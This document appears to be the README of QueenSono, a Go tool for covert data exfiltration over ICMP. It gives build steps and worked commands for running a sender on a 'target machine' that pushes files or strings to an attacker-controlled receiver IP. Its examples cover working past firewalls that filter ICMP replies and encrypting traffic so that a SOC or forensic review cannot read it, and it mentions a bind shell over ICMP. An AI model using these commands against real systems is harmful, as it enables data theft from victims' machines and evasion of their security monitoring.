A Golang Package for Data Exfiltration with ICMP protocol.
QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher) or to bypass authentication step with captive portal (used by many public Wi-Fi to authenticate users after connecting to the Wi-Fi e.g Airport Wi-Fi). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)
Install it
·
Use it
·
Notes
·
Request Feature
·
Install
> Install the binary from source
Clone the repo and download the dependencies locally:
git clone https://github.com/ariary/QueenSono.git
make before.build
To build the ICMP packet sender qssender
:
To build the ICMP packet receiver qsreceiver
:
Usage
qssender
is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.
qsreceiver
is the listener on your local machine (or wherever you could receive icmp packet)
All commands and flags of the binaries could be found using --help
Example 1: Send with "ACK" 🔙
> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).
On local machine:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explanation
-l 0.0.0.0
listen on all interfaces for ICMP packet
-f received_bible.txt
save received data in a file
-p
show a progress bar of received data On target machine:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
Explanation
send file
for sending file (bible.txt
is the file in question)
-d 2
send a packet each 2 seconds
-l 127.0.0.1
the listening address for echo reply -r 10.0.0.92
the address of my remote machine with qsreceiver
listening-s 50000
the data size I want to send in each packetExample 2: Send without "ACK" 🙈
> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet)
On local machine:
$ qsreceiver receive truncated 1 -l 0.0.0.0
Explanation
receive truncated 1
does not wait indefinitely if we don't received all the packets. (1
is the delay used with qssender
)On target machine:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
Explanation
-N
noreply option (don't wait for echo reply)
Example 3: Send encrypted data 🔒
> In this example we want to send an encrypted message. As the command line could be spied on we use asymmetric encryption (if the key leaks, it isn't an issue so)
On local machine:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
Explanation
--encrypt
use encryption exchange. It will generate public/private key. The public one will be used by qssender
to encrypt data, the private one is used to decrypt it with receiver
On target machine:
$ qssender send "don't worry this message was encrypted with the public key. only you could decrypt it" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 5 --encrypt <public_key_from_qsreceiver_output>
Explanation
--encrypt
provide key for data encryption. Use the one provided by the qsreceiver
command
About encryption
RSA encrytion is used to keep data exchanged confidential. It could be useful for example to avoid a SoC to see what data is exchanged (or forensic) w/ basic analysis or simply for privacy.
But it comes with a cost. The choice of asymetric encryption is motivated by the fact that the encryption key is entered on the command line (so it could be retieved easily). Hence, we encrypt data with public key. Like this if someone retrieve the encryption key it will not be possible to decrypt the message. But the public key is smaller than the private one, so it encrypt smaller messages. Also, it is computationally expensive.
Another point, as we want to limit data size/ping requests (to avoid detection, bug, etc), use encryption only if needed as the message output-size will (should) always equal the size of the Modulus (part of the key) which is big.
Bonus
See hack section for fun things with QueenSono
(eg. a bind shell using ICMP)
Notes
- only work on Linux (due to the use of golang net icmp package)
- need
cap_net_raw capabilities